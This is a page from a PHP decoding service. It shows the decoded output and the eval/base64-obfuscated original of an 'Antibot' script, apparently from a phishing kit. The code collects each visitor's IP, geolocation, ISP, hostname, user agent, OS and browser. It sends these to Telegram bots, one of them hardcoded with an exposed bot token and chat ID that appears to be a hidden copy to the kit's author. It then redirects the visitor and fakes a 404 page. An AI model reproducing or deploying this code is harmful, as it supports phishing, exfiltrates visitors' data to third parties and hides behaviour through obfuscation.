Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* This file is protected by copyright law and provided under Mac Hemsworth license...
Decoded Output download
error_reporting(0);
$tanitatikaram = parse_ini_file("config.ini",true);
$Token = $tanitatikaram['Token'];
$ChatID = $tanitatikaram['ChatID'];
$Exit_country = $tanitatikaram['Exit_vpn'];
$ip = getenv("REMOTE_ADDR");
$url = "http://ip-api.com/json/".$ip;
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);
$resp = curl_exec($ch);
curl_close($ch);
$details = json_decode($resp,true);
$countryname = $details['country'];
$city = $details['city'];
$isp = $details['isp'];
$region = $details['regionName'];
$asn = $details['as'];
function getOS($useragent) {
$os_platform = "Unknown OS Platform";
$os_array = array('/windows nt 10/i'=>'Windows 10','/windows nt 6.3/i'=>'Windows 8.1','/windows nt 6.2/i'=>'Windows 8','/windows nt 6.1/i'=>'Windows 7','/windows nt 6.0/i'=>'Windows Vista','/windows nt 5.2/i'=>'Windows Server 2003/XP x64','/windows nt 5.1/i'=>'Windows XP','/windows xp/i'=>'Windows XP','/windows nt 5.0/i'=>'Windows 2000','/windows me/i'=>'Windows ME','/win98/i'=>'Windows 98','/win95/i'=>'Windows 95','/win16/i'=>'Windows 3.11','/macintosh|mac os x/i'=>'Mac OS X','/mac_powerpc/i'=>'Mac OS 9','/linux/i'=>'Linux','/ubuntu/i'=>'Ubuntu','/iphone/i'=>'iPhone','/ipod/i'=>'iPod','/ipad/i'=>'iPad','/android/i'=>'Android','/blackberry/i'=>'BlackBerry','/webos/i'=>'Mobile');
foreach ($os_array as $regex =>$value) {
if (preg_match($regex,$useragent)) {
$os_platform = $value;
}
}
return $os_platform;
}
function getBrowser($useragent) {
$browser = "Unknown Browser";
$browser_array = array('/msie/i'=>'Internet Explorer','/firefox/i'=>'Firefox','/safari/i'=>'Safari','/chrome/i'=>'Chrome','/opera/i'=>'Opera','/netscape/i'=>'Netscape','/maxthon/i'=>'Maxthon','/konqueror/i'=>'Konqueror','/mobile/i'=>'Handheld Browser');
foreach ($browser_array as $regex =>$value) {
if (preg_match($regex,$useragent)) {
$browser = $value;
}
}
return $browser;
}
$hostname = gethostbyaddr($ip);
$useragent = $_SERVER['HTTP_USER_AGENT'];
$os = getOS($useragent);
$browser = getBrowser($useragent);
$body.= " V5 | REASON: Vpn | CODE:29091";
$body.= "Antibot Copyright @mac_Hemsworth";
$body.= "IP Address:$ip";
$body.= "COUNTRY:$countryname";
$body.= "REGION:{$region}";
$body.= "ORGANISATION:{$isp}";
$body.= "ASN:{$asn}";
$body.= "HOSTNAME:".$hostname ."";
$body.= "USER AGENT:{$_SERVER['HTTP_USER_AGENT']}";
$body.= "OS:{$os}";
$body.= "BROWSER:{$browser}";
function callAPI($url) {
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,0);
$result = curl_exec($curl);
curl_close($curl);
}
$result = urlencode($body);
callAPI('https://api.telegram.org/bot1803676867:AAHBgHr6PCwoknFOnxn_xZ8cVEEEvwOftsA/sendMessage?chat_id=1023780706&text='.$result ."&parse_mode=html");
callAPI('https://api.telegram.org/bot'.$Token .'/sendMessage?chat_id='.$ChatID .'&text='.$result ."&parse_mode=html");
header('Location: '.$Exit_country);
die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this 404 server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>');;;Did this file decode correctly?
Original Code
<?php /* This file is protected by copyright law and provided under Mac Hemsworth license. Reverse engineering of this file is strictly prohibited */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x1188;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NTBiKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>f]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 Calls
| fopen | 1 |
| fread | 3 |
| strtr | 2 |
| fclose | 1 |
| urldecode | 1 |
| str_replace | 1 |
| base64_decode | 3 |
Stats
| MD5 | bec8b8da2966ac8d6f3f16a86e8da84e |
| Eval Count | 3 |
| Decode Time | 131 ms |